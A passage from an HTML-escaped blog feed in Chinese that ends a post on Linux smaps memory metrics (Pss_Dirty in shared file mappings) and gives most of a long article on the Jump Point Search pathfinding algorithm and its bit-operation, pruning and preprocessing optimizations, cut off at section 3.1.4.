7ffff7400000-7ffff7c00000 rw-s 00000000 08:20 65306                      &amp;#x2F;home&amp;#x2F;dev&amp;#x2F;foo&amp;#x2F;8m.bin
Size:               8192 kB
KernelPageSize:        4 kB
MMUPageSize:           4 kB
Rss:                  60 kB
Pss:                  30 kB
Pss_Dirty:             2 kB
Shared_Clean:         56 kB
Shared_Dirty:          4 kB
Private_Clean:         0 kB
Private_Dirty:         0 kB
Referenced:           60 kB
Anonymous:             0 kB
...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这次操作系统已经不再为我们分配匿名内存了，整个文件映射内存全部是两进程共享，就连&lt;code&gt;Pss_Dirty&lt;&#x2F;code&gt;都变为了&lt;code&gt;2kB&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;为了难证&lt;code&gt;Pss_Dirty&lt;&#x2F;code&gt;的值是怎么计算的，我们不再启动两个相同的进程，而是分别让两个进程写入两个不同的内存位置。&lt;&#x2F;p&gt;
&lt;p&gt;在上面代码的基础上，做出如下修改：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;diff --git a&amp;#x2F;a.c b&amp;#x2F;a.c
index 1493c60..c8ebe28 100644
--- a&amp;#x2F;a.c
+++ b&amp;#x2F;a.c
@@ -29,8 +29,8 @@ void main(int argc, char *argv[])
         return ;
     }
     printf(&amp;quot;%p\n&amp;quot;, x);
-    printf(&amp;quot;%d\n&amp;quot;, x[8*1024*1024-1]);
-    x[8*1024*1024-1] = 1;
+    printf(&amp;quot;%d\n&amp;quot;, x[8*1024*1024-1 - 128*1024]);
+    x[8*1024*1024-1 - 128*1024] = 1;
     for (;;) {
                 usleep(1000);
     }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;smaps&lt;&#x2F;code&gt;中的输出如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;7ffff7400000-7ffff7c00000 rw-s 00000000 08:20 65306                      &amp;#x2F;home&amp;#x2F;dev&amp;#x2F;foo&amp;#x2F;8m.bin
Size:               8192 kB
KernelPageSize:        4 kB
MMUPageSize:           4 kB
Rss:                  60 kB
Pss:                  60 kB
Pss_Dirty:             4 kB
Shared_Clean:          0 kB
Shared_Dirty:          0 kB
Private_Clean:        56 kB
Private_Dirty:         4 kB
Referenced:           60 kB
Anonymous:             0 kB
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到&lt;code&gt;Pss_Dirty&lt;&#x2F;code&gt;的值和和&lt;code&gt;Pss&lt;&#x2F;code&gt;的值没有直接比例关系，但是其计算方式很像。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;Pss_Dirty&lt;&#x2F;code&gt;只统计当前的&lt;code&gt;共享脏页&lt;&#x2F;code&gt;, 其中每个页面都按其&lt;strong&gt;共享的进程数&lt;&#x2F;strong&gt;按比例时计算。&lt;&#x2F;p&gt;
&lt;p&gt;需要说明的是，这种&lt;strong&gt;共享&lt;&#x2F;strong&gt;并不是说别的进程也&lt;strong&gt;修改&lt;&#x2F;strong&gt;了这个内存页，而是指这块内存被映射到了几个进程中去。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>跳点搜索算法JPS及其优化（万字长文）</title>
        <published>2024-03-05T00:00:00+00:00</published>
        <updated>2024-03-05T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/跳点搜索算法jps及其优化-万字长文/"/>
        <id>https://vercel.juzhong.asia/obsidian/跳点搜索算法jps及其优化-万字长文/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/跳点搜索算法jps及其优化-万字长文/">&lt;h2 id=&quot;1-yin-yan&quot;&gt;1.引言&lt;&#x2F;h2&gt;
&lt;p&gt;  寻路算法用途众多，例如在游戏和地图中。A*算法已经众所周知，对于其优化也是层出不穷，然而性能并没有取得突破性进展。本文介绍JPS的效率、多线程、内存、路径优化算法。为了测试搜索算法的优化性能，实验中设置游戏场景使得起点和终点差距200个格子，需要寻路10000次。结果发现，A*寻路总时间约2.6074x1011纳秒（一秒为109纳秒）；基础版JPS寻路总时间1.7037x1010纳秒；利用位运算优化的JPS（下文称JPS-Bit）寻路总时间3.2364x109纳秒；利用位运算和剪枝优化的JPS（下文称JPS-BitPrune）寻路总时间2.3703x109纳秒；利用位运算和预处理的JPS（下文称JPS-BitPre）寻路总时间2.0043x109纳秒；利用位运算、剪枝和预处理三个优化的JPS（下文称JPS-BitPrunePre）寻路总时间9.5434x108纳秒。其中的预处理在一些文章被称为JPS+。本文的JPS-Bit和JPS-BitPrune都支持动态阻挡。本文解决了绝大部分开源JPS存在的潜在BUG：穿越阻挡，在图2.2.1中，从H走到K时，穿越H右边阻挡。
  上述结果表明，寻路200个格子的路径，JPS的五个版本，平均消耗时间分别为1.7毫秒、0.32毫秒、0.23毫秒、0.02毫秒、0.095毫秒，寻路速度分别为A*算法的15倍、81倍、110倍、130倍、273倍，大幅度超越A*算法，标志着寻路已经不会成为性能的瓶颈。
事实上，在2012到2014年举办的三届（目前为止只有三届）基于Grid网格寻路的比赛GPPC（The Grid-Based Path Planning Competition）中，JPS已经被证明是基于无权重格子，在没有预处理的情况下寻路最快的算法。本文接下来介绍JPS基础版本以及四个优化算法；然后解读GPPC2014的比赛，介绍GPPC的比赛地图数据，并从寻路时间、路径长度、消耗内存、失败率等方面比较22个参赛寻路算法的优劣。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-1-suan-fa-jie-shao&quot;&gt;2.1 算法介绍&lt;&#x2F;h3&gt;
&lt;p&gt;  JPS又名跳点搜索算法（Jump Point Search），是由澳大利亚两位教授于2011年提出的基于Grid格子的寻路算法。A*算法整体流程如表2.1.1所示，JPS算法在保留A*算法的框架的同时，进一步优化了A*算法寻找后继节点的操作。为了说明JPS在A*基础上的具体优化策略，我们在图2.1.1中给出A*和JPS的算法流程图对比。由图2.1.1看出，JPS与A*算法主要区别在后继节点拓展策略上，不同于A*算法中直接获取当前节点所有非关闭的可达邻居节点来进行拓展的策略，JPS根据当前结点current的方向、并基于搜索跳点的策略来扩展后继节点，遵循“两个定义、三个规则”（见表2.1.2，两个定义确定强迫邻居、跳点，三个规则确定节点的拓展策略），具体流程如下：
  一，若current当前方向是直线方向：（1）如果current左后方不可走且左方可走（即左方是强迫邻居），则沿current左前方和左方寻找不在closedset的跳点；（2）如果current当前方向可走，则沿current当前方向寻找不在closedset的跳点；（3）如果current右后方不可走且右方可走（右方是强迫邻居），则沿current右前方和右方寻找不在closedset的跳点；
  二，若current当前方向为对角线方向：（1）如果current当前方向的水平分量可走（例如current当前为东北方向，则水平分量为东，垂直分量为北），则沿current当前方向的水平分量寻找不在closedset的跳点；（2）如果current当前方向可走，则沿current当前方向寻找不在closedset的跳点；（3）如果current当前方向的垂直分量可走（例如current当前为东北方向，则水平分量为东，垂直分量为北），则沿current当前方向的垂直分量寻找不在closedset的跳点。JPS寻找跳点的过程有三种优化：一，位运算；二；预处理；三；剪枝中间跳点。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;jps-pathfinding&#x2F;jps-vs-astar-flowchart.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;图2.1.1 A*和JPS的算法流程图对比&quot; href=&quot;https:&#x2F;&#x2F;runzhiwang.github.io&#x2F;2019&#x2F;06&#x2F;21&#x2F;jps&#x2F;2-1-1.png&quot;&gt;图2.1.1 A*和JPS的算法流程图对比&lt;&#x2F;a&gt;---&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;                                                                   表2.1.1 A*算法流程

Step 1. 将起始点start加入开启集合openset
Step 2. 重复以下工作：
    一、当openset为空，则结束程序，此时没有路径。
    二、寻找openset中F值最小的节点，设为当前点current
    三、从openset中移出当前点current
    四、关闭集合closedset中加入当前点current
    五、若current为目标点goal，则结束程序，此时有路径生成，此时由goal节点开始逐级追溯路径上每一个节点x的父节点parent(x)，
        直至回溯到开始节点start，此时回溯的各节点即为路径。
    六、对current的八个方向的每一个相邻点neighbor
        1．如果neighbor不可通过或者已经在closedset中，略过。
        2．如果neighbor不在openset中，加入openset中
        3．如果neighbor在openset中，G值判定，若此路径G值比之前路径小，则neighbor的父节点为current，同时更新G与F值。
           反之，则保持neighbor和原父节点的关系与G、F值。G值表示从起点到当前点路径耗费；H值表示不考虑不可通过区域，当前点到终点的理论路径耗费；F=G+H。

术语参考：
    current    当前节点
    openset    开启节点集合，集合内节点有待进一步拓展
    closedset    关闭节点结合，集合内节点不再拓展
    neighbor    邻居，与当前节点相邻的节点
    parent(x)    节点x的父节点，即算法寻得的路径中节点parent(x)的下一节点为x
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;pre&gt;&lt;code&gt;                                                          表2.1.2 JPS算法的“两个定义、三个规则”
定义一，强迫邻居（forced neighbour）：
    如果节点n是x的邻居，并且节点n的邻居有阻挡（不可行走的格子），并且从parent(x)、x、n的路径长度比其他任何从parent(x)到n且不经过x的路径短，
    其中parent(x)为路径中x的前一个点，则n为x的强迫邻居，x为n的跳点，例如图2.2.1中，寻找从S到E的路径时，K为I的强迫邻居（I为K的跳点）。
    这里不认为从H到K能走，因为对角线有阻挡（这点和论文不一致，但和代码一致，因为如果H到K能直接到达，会走进H右边的阻挡区，大部分的JPS开源代码根据论文都认为H到K能直接到达，所以存在穿越阻挡的情况），如果需要H到K可走，则K为H的强迫邻居（H为K的跳点）。
定义二，跳点（jump point）：
    （1）如果点y是起点或目标点，则y是跳点，例如图2.2.1中，S是起点也是跳点，E是目标点也是跳点；
    （2）如果y有强迫邻居则y是跳点， 例如I是跳点，请注意此类跳点和强迫邻居是伴生关系，从定义一强迫邻居的定义来看n是强迫邻居，x是跳点，
        二者的关系是伴生的，例如图2.2.1中K的邻居只有I是跳点，M虽然也是K的邻居，但M不是跳点，因为K不是M的强迫邻居；
    （3）如果parent(y)到y是对角线移动，并且y经过水平或垂直方向移动可以到达跳点，则y是跳点，例如图2.2.1中G是跳点，因为parent(G)为S，
        S到G为对角线移动，从G到跳点I为垂直方向移动，I是跳点，所以G也是跳点。

规则一：
    JPS搜索跳点的过程中，如果直线方向（为了和对角线区分，直线方向代表水平方向和垂直方向，且不包括对角线等斜线方向，下文所说的直线均为水平方向和垂直方向）、
    对角线方向都可以移动，则首先在直线方向搜索跳点，再在对角线方向搜索跳点。
规则二：
    （1）如果从parent(x)到x是直线移动，n是x的邻居，若有从parent(x)到n的路径不经过x且路径长度小于或等于从parent(x)经过x到n的路径，
        则走到x后下一个点不会走到n；
    （2）如果从parent(x)到x是对角线移动，n是x的邻居，若有从parent(x)到n的路径不经过x且路径长度小于从
        parent(x)经过x到n的路径，则走到x后下一个点不会走到n（相关证明见论文）。
规则三：
    只有跳点才会加入openset，因为跳点会改变行走方向，而非跳点不会改变行走方向，最后寻找出来的路径点也都是跳点。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;2-2-jpssuan-fa-ju-li&quot;&gt;2.2  JPS算法举例&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;jps-pathfinding&#x2F;jps-pathfinding-grid-example.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;图2.2.1&quot; href=&quot;https:&#x2F;&#x2F;runzhiwang.github.io&#x2F;2019&#x2F;06&#x2F;21&#x2F;jps&#x2F;2-2-1.png&quot;&gt;图2.2.1&lt;&#x2F;a&gt;  下面举例说明JPS具体的寻路流程。示例如图2.2.1所示，5*5的网格，黑色代表阻挡区，S为起点，E为终点。JPS要寻找从S到E的最短路径，首先初始化将起点S加入openset。从openset取出F值最小的点S，并从openset删除，加入closedset，S的当前方向为空，则沿八个方向寻找跳点，在该图中从S出发只有下、右、右下（相对屏幕的绝对参考系：上、下、左、右，相对玩家的参考系：前、后、左、右，本文为了描述方便，绝对参考系和相对参考系会切换使用，请见谅）三个方向可走，但向下搜索到D遇到边界，向右搜索到F遇到阻挡，因此都没有找到跳点，然后沿右下方向寻找跳点，在G点，根据上文定义二的第（3）条，parent(G)为S，praent(G)到S为对角线移动，并且G经过垂直方向移动（向下移动）可以到达跳点I，因此G为跳点 ，将G加入openset。从openset取出F值最小的点G，并从openset删除，加入closedset，因为G当前方向为对角线方向（从S到G的方向），因此在右（当前方向水平分量）、下（当前方向垂直分量）、右下（当前方向）三个方向寻找跳点，在该图中从G出发只有向下可走，因此向下寻找跳点，根据上文定义二的第（2）条找到跳点I，将I加入openset。从openset取出F值最小的点I，并从openset删除，加入closedset，因为I的当前方向为直线方向（从G到I的方向），在I点时I的左后方不可走且左方、前方可走，因此沿左、左前、前寻找跳点，但左前、前都遇到边界，只有向左寻找到跳点Q（根据上文定义二的第（2）条）），因此将Q加入openset。从openset取出F值最小的点Q，并从openset删除，加入closedset，因为Q的当前方向为直线方向，Q的左后方不可走且左方、前方可走，因此沿左、左前、前寻找跳点，但左前、前都遇到边界，只有向左寻找到跳点E（根据上文定义二的第（1）条）），因此将E加入openset。从openset取出F值最小的点E，因为E是目标点，因此寻路结束，路径是S、G、I、Q、E。注意，本文不考虑从H能走到K的情况，因为对角线有阻挡，如果需要H到K能直接到达，则路径是S、G、H、K、M、P、E，修改跳点的计算方法即可，但在游戏中如果H到K能直接到达，则会穿越H右边的阻挡。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;jps-pathfinding&#x2F;astar-jps-cost-compare.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;表2.2.1 A*和JPS的寻路消耗对比&quot; href=&quot;https:&#x2F;&#x2F;runzhiwang.github.io&#x2F;2019&#x2F;06&#x2F;21&#x2F;jps&#x2F;%E8%A1%A82-2-1.png&quot;&gt;表2.2.1 A*和JPS的寻路消耗对比&lt;&#x2F;a&gt;  上述的JPS寻路效率是明显快于A*的，原因在于：在从S到A沿垂直方向寻路时，在A点，如果是A*算法，会将F、G、B、H都加入openset，但是在JPS中这四个点都不会加入openset。对F、G、H三点而言，因为从S、A、F的路径长度比S、F长，所以从S到F的最短路径不是S、A、F路径，同理S、A、G也不是最短路径，根据上文规则二的第（1）条，走到A后不会走到F、G，所以F、G不会加入openset，虽然S、A、H是S到H的最短路径，但因为存在S、G、H的最短路径且不经过A，据上文规则二的第（1）条，从S走到A后，下一个走的点不会是H，因此H也不会加入openset；对B点而言，根据上文规则三，B不是跳点，也不会加入openset，直接走到C即可。表2.2.1所示为A*和JPS在寻路消耗中的对比，D. Age: Origins、D. Age 2、StarCraft为三个游戏龙腾世纪：起源、、龙腾世纪2、星际争霸的场景图集合，M.Time表示操作openset和closedset的时间，G.Time表示搜索后继节点的时间。可见A*大约有58%的时间在操作openset和closedset，42%时间在搜索后继节点；而JPS大约14%时间在操作openset和closedset，86%时间在搜索后继节点。避免在openset中加入太多点，从而避免过多的维护最小堆是JPS比A*快的原因（最小堆插入新元素时间复杂度log(n)，删除最小元素后调整堆，时间复杂度也为log(n)），实际上在从S到E的寻路过程中，进入openset的只有S、G、I、Q、E。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;3-1-1-jpsxiao-lu-you-hua-zhi-yi-jps-bit-wei-yun-suan-you-hua&quot;&gt;3.1.1 JPS效率优化之一JPS-Bit：位运算优化&lt;&#x2F;h4&gt;
&lt;p&gt;  利用位运算优化的JPS-Bit的关键优化思路在于利用位运算来优化JPS中节点拓展的效率。JPS-Bit和下文介绍的JPS-BitPrune支持动态阻挡，当动态阻挡出现时，将格子标记为阻挡，当动态阻挡消失时，将格子标记为非阻挡，如果动态阻挡占据k个格子，则时间复杂度为O(k)。下面以图3.1.1.1中的场景示例说明如何将位运算融合于JPS算法中，其中黑色部分为阻挡，假设当前位置为I（标蓝位置），当前方向为右，位运算中使用1代表不可走，0代表可走，则I当前行B的八位可以用八个bit：00000100表示，I上一行B-的八位可以用八个bit：00000000表示，I的下一行B+的八位可以用八个bit：00110000表示。在当前行寻找阻挡的位置可以用CPU的指令__builtin_clz(B)（返回前导0的个数），即当前阻挡在第5个位置（从0开始）。寻找当前行的跳点可以用__builtin_clz(((B-&amp;gt;&amp;gt;1) &amp;amp;&amp;amp; !B-) ||((B+&amp;gt;&amp;gt;1) &amp;amp;&amp;amp; !B+)) 寻找，例如本例中(B+&amp;gt;&amp;gt;1) &amp;amp;&amp;amp; !B+为：(00110000 &amp;gt;&amp;gt; 1) &amp;amp;&amp;amp; 11001111，即00001000，而(B-&amp;gt;&amp;gt;1) &amp;amp;&amp;amp;!B为00000000，所以__builtin_clz(((B-&amp;gt;&amp;gt;1) &amp;amp;&amp;amp; !B-) ||((B+&amp;gt;&amp;gt;1) &amp;amp;&amp;amp; !B+))为__builtin_clz(00001000)为4，所以跳点为第4个位置M（从0开始）。注意论文中使用_builtin_ffs(((B-&amp;lt;&amp;lt;1) &amp;amp;&amp;amp; !B-) ||((B+&amp;lt;&amp;lt;1) &amp;amp;&amp;amp; !B+))，__builtin_ffs(x)返回x的最后一位1是从后向前第几位，比如7368（1110011001000）返回4，因为论文对格子的bit编码采用小端模式，而这里对格子的bit编码采用大端模式。
  由于JPS-Bit使用运算效率更高的位运算和CPU指令运算来优化原始JPS节点扩展过程中的遍历操作，JPS-Bit的算法效率高于原始的JPS，实测中JPS-Bit的寻路时间比JPS缩短5倍左右。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;jps-pathfinding&#x2F;jps-bit-optimization.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;图3.1.1.1&quot; href=&quot;https:&#x2F;&#x2F;runzhiwang.github.io&#x2F;2019&#x2F;06&#x2F;21&#x2F;jps&#x2F;3-1-1-1.png&quot;&gt;图3.1.1.1&lt;&#x2F;a&gt;#### 3.1.2 JPS效率优化之二JPS-BitPrune：位运算与剪枝优化&lt;&#x2F;p&gt;
&lt;p&gt;  利用位运算和剪枝优化的JPS-BitPrune在JPS-Bit的基础上进一步进行剪枝优化，剪掉不必要的中间跳点（见表2.1.2，定义二第(3)条定义），根据定义二，中间跳点在节点拓展过程中只具有简单的“承接”作用，不具备拓展价值，将中间跳点放入openset会增大扩展的次数，因此JPS-BitPrune将中间跳点全部删除，将中间跳点后继跳点中的非中间跳点的父跳点改为中间跳点的父跳点，可以有效避免冗余的节点拓展运算。
  拐点获取：值得一提的是，JPS-BitPrune由于删除了中间跳点，因此JPS-BitPrune需要在搜索到完整的路径之后以一定的策略在最后寻得的路径中加入中间拐点，使得每两个相邻的路径节点之间都是垂直、水平、对角线方向可达的。对此，JPS-BitPrune采用的具体方法如下：
  假设目前搜索到的路径为start(jp1)、jp2、jp3…jpk..end(jpn)，对每两个相邻的跳点jpi、jpi+1，一，如果jpi、jpi+1的x坐标或者y坐标相等，说明这两个跳点在同一个水平方向或垂直方向，可以直线到达，无需在这两个跳点之间加入拐点；二，如果jpi、jpi+1的x坐标和y坐标都不相等，（1）如果x坐标的差dx（即jpi的x坐标减去jpi+1的x坐标）和y坐标的差dy的绝对值相等，说明这两个跳点在对角线方向，也可以直线到达，无需在这两个跳点之间加入拐点；（2）如果x坐标的差dx和y坐标的差dy的绝对值不相等，说明这两个跳点不在对角线方向，并且有可能不能直线到达（因为跳点附近有阻挡），此时jpi、jpi+1之间只需要加入一个从jpi出发离jpi+1最近的对角线上的点即可（jpi、jpi+1不能水平、垂直、对角线到达，说明jpi、jpi+1之间一定存在被剪枝的中间跳点，只需要补上离jpi+1最近的一个中间跳点充当拐点即可，该拐点即为jpi沿对角线方向走min(dx,dy)步到达的点）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;jps-pathfinding&#x2F;jps-bitprune-pruning-example.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;图3.1.2.1 JPS-BitPrune的剪枝优化示例&quot; href=&quot;https:&#x2F;&#x2F;runzhiwang.github.io&#x2F;2019&#x2F;06&#x2F;21&#x2F;jps&#x2F;3-1-2-1.png&quot;&gt;图3.1.2.1 JPS-BitPrune的剪枝优化示例&lt;&#x2F;a&gt;  下面以图3.1.2.1的问题场景示例JPS-BitPrune如何在剪枝的同时进行寻路。起点为S（坐标为(1,1)，即S(1,1)），节点1、4、6均为中间跳点：因为节点2、3是满足定义二第(2)条的跳点，所以节点1是为了到达节点2、3的中间跳点，同理节点4、6也为中间跳点。在剪枝中间跳点之前，要将中间跳点的后继节点的父节点调整为该中间跳点的父节点。例如图3.1.2.1中，节点1的后继跳点为节点2、3、4，其中节点4也为中间跳点，删掉中间跳点中的节点1后，节点2、3的父跳点由节点1改为节点S，删除中间跳点中的节点4后，节点4的后继跳点5的父跳点由节点4改为节点S（节点4的父跳点为节点1，但节点1已经被删掉，因此回溯到节点S），删除中间跳点中的节点6后，节点6的后继跳点7的父跳点由节点6改为节点S（节点6的父跳点为节点4，但节点4被删，节点4的父跳点节点1也被删，因此回溯到节点S）。上述过程是简化的逻辑描述，实际运行中的做法是从节点S寻找跳点，首先找到中间跳点节点1，然后在水平方向和垂直方向寻找到跳点节点2、3，将节点2、3的父跳点设为节点S；继续沿对角线方向寻找跳点，走到节点4后，沿水平方向和垂直方向寻找到跳点节点5，将节点5的父跳点设为节点S；继续沿对角线方向寻找跳点，走到节点6后，沿水平方向和垂直方向寻找到跳点7，将跳点7的父跳点设为节点S。因此JPS-BitPrune获得路径S(1,1) 、节点7(4,6)。因为路径中S(1,1)无法垂直、水平、对角线方向走到节点7(4,6)，需要加入中间拐点，根据上述的拐点添加策略，有dx为3，dy为5，需要从S沿对角线走3步，即节点6(4,4)可作为中间拐点，因此，在图3.1.2.1的示例中，JPS-BitPrune最后构建的完整路径为S(1,1) 、节点6(4,4) 、节点7(4,6)。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;3-1-2-1-jian-zhi-de-you-hua-xiao-lu&quot;&gt;3.1.2.1 剪枝的优化效率&lt;&#x2F;h5&gt;
&lt;pre&gt;&lt;code&gt;                                         下面通过对比剪枝前后的JPS节点拓展的情况来说明剪枝操作的优化效率：
场景一（无剪枝） 如果不对中间跳点进行剪枝，那么从节点S寻路到节点7将经历如下过程：
    (1)从节点S搜索跳点，找到跳点节点1，openset此时只有节点1；
    (2)从openset取出F值最小跳点节点1，并搜索节点1的后继跳点，水平方向和垂直方向找到跳点节点2、3，对角线方向找到跳点节点4，此时openset有节点2、3、4；
    (3)从openset取出F值最小跳点节点4，并搜索节点4的后继跳点，水平和垂直方向找到跳点节点5，对角线方向找到跳点6，此时openset有节点2、3、5、6；
    (4)从openset取出F值最小跳点节点6，垂直方向找到跳点7，此时openset有节点2、3、5、7；
    (5)从openset取出F值最小的跳点节点7，为目的点，搜索结束，因此完整路径为节点S(1,1)、节点1(2,2) 、节点4(3,3) 、节点6(4,4) 、节点7(4,6)。
        JPS在到达目的节点7之前，需要接连拓展中间跳点1，4，6。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;场景二（剪枝中间跳点） 在剪枝中间跳点之后，从节点S寻路到节点7的流程得到了明显简化：
(1)从节点S寻找跳点，首先找到中间跳点节点1，然后在水平方向和垂直方向寻找到跳点节点2、3，将节点2、3的父跳点设为节点S；继续沿对角线方向寻找跳点，
走到节点4后，沿水平方向和垂直方向寻找到跳点节点5，将节点5的父跳点设为节点S；继续沿对角线方向寻找跳点，走到节点6后，沿水平方向和垂直方向
寻找到跳点7，将跳点7的父跳点设为节点S；继续沿对角线方向寻找跳点，遇到阻挡，搜索终止，此时openset有节点2、3、5、7；
(2)从openset取出F值最小的跳点节点7，为目的点，搜索结束，此时获得的路径为S(1,1) 、节点7(4,6)。不同于无剪枝的JPS需要拓展中间跳点1、4、6，
在JPS-BitPrune中，节点1、4、6作为中间跳点均被剪枝，有效避免了冗余的节点拓展，寻路效率得到大大提升。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;3-1-3-jpsxiao-lu-you-hua-zhi-san-jps-bitpre-wei-yun-suan-yu-yu-chu-li&quot;&gt;3.1.3 JPS效率优化之三JPS-BitPre：位运算与预处理&lt;&#x2F;h4&gt;
&lt;p&gt;  本优化中的预处理在一些文章被称为JPS+。JPS-BitPre和JPS-BitPrunePre都不支持动态阻挡，因为动态阻挡的出现会导致八个方向最多能走的步数发生变化，从而导致预处理的结果不再准确。利用位运算和预处理的JPS-BitPre依旧采用JPS-Bit中的位运算，而其中的预处理则是对每个点存储八个方向最多能走的步数step，这个step值将影响JPS中节点的拓展顺序和拓展“跨度”，加快寻路效率。由于预处理版本的JPS需要存储八个方向最多能走多少步，如果地图大小是N*N，每个方向最多能走的步数用16位数表示，则需要存储空间N*N*8*16bit，如果N为1024，则大概需要存储空间为16M，存储空间占用较大，使用该版本JPS时需要权衡是否以空间换时间。为降低预处理数据占用的内存，本项目也提供每个方向最多能走的步数用8位数表示的源码，寻路速度和步数用16位数表示的源码差异1%左右，但内存减少一半。另外预处理的时间对小于1024*1024个格子的图可以在1秒内处理完，但对于2048*2048个格子的图需要一小时左右处理完，建议提前预处理完并存到文件中，程序启动时读文件即可。
  其中，step值由跳点、阻挡、边界等决定，如果遇到跳点，则step为走到跳点的步数；否则step为走到阻挡或边界的步数。例如对图3.1.3.1中的N点，向北最多走到节点8，即2步；向南最多走到节点4，即4步；向西最多走到节点6，即3步；向东最多走到节点2（节点2是满足定义二第（2）条的跳点），即5步；西北最多走到节点7，即2步；东北最多走到节点1（节点为1是上文定义二第（3）条定义的跳点），即1步；西南最多走到节点5，即3步；东南最多走到节点3（节点3是上文定义二第（3）条定义的跳点），即3步。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;jps-pathfinding&#x2F;jps-bitpre-pathfinding-example.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;图3.1.3.1 JPS-BitPre寻路的场景示例&quot; href=&quot;https:&#x2F;&#x2F;runzhiwang.github.io&#x2F;2019&#x2F;06&#x2F;21&#x2F;jps&#x2F;3-1-3-1.png&quot;&gt;图3.1.3.1 JPS-BitPre寻路的场景示例&lt;&#x2F;a&gt;---&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;                                        以图3.1.3.1中的场景为例，要寻找从节点N到节点T的路径，JPS-BitPre的寻路流程如下：
(1)从openset取出节点N， 从N沿八个方向寻找跳点，根据预处理得到的各方向最远可走的step值，可以快速确定八个方向最远能到达的节点
    {1，2，3，4，5，6，7，8}，如图3.1.3.1所示，其中，节点1、2、3均为满足定义二的跳点，直接加入openset，对于节点4、5、6、7、8，
    首先判断终点T位于以N为中心的南、西南、西、西北、北的哪部分，因为T位于西南方向，只有节点5位于西南方向，因此节点4、6、7、8直接略过，
    在从N到5的方向上，N可走3步，而N和T的x坐标差绝对值dx为1，y坐标差绝对值dy为2，因此将从节点N到节点5方向上走min(dx,dy)步即节点11，加入openset；
(2)从openset取出F值最小节点11，垂直方向找到跳点T，加入openset；三，从openset取出F值最小节点T，为目的点，搜索结束，
    此时获得的路径为N(4,5)、节点11(3,4) 、节点T(3,3)。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;pre&gt;&lt;code&gt;                                    为了说明JPS-BitPre寻路的准确性与高效率，这里给出原始JPS-Bit从N到T的寻路流程作为对比：
(1)从openset取出节点N后，需要沿八个方向寻找跳点，节点1、3、11为上文定义二第（3）条定义的跳点，加入openset，
    节点2为上文定义二的第（2）条定义的跳点，加入openset；
(2)从openset取出F值最小节点11，垂直方向找到跳点T，加入openset；
(3)从openset取出F值最小跳点T，为目的点，搜索结束，此时获得的路径也为N(4,5)、节点11(3,4) 、节点T(3,3)。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;  对比发现，经过预处理的JPS-BitPre和只使用位运算的JPS-Bit最后寻得的路径是一样的，然而，由于JPS-BitPre无需在每一步节点拓展过程中沿各方向寻找跳点，其可以根据预处理得到的step值快速确定openset的备选节点，从而大大提升寻路效率。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;3-1-4-jpsxiao-lu-you-hua-zhi-wu-kong-jian-huan-shi-jian&quot;&gt;3.1.4 JPS效率优化之五：空间换时间&lt;&#x2F;h4&gt;
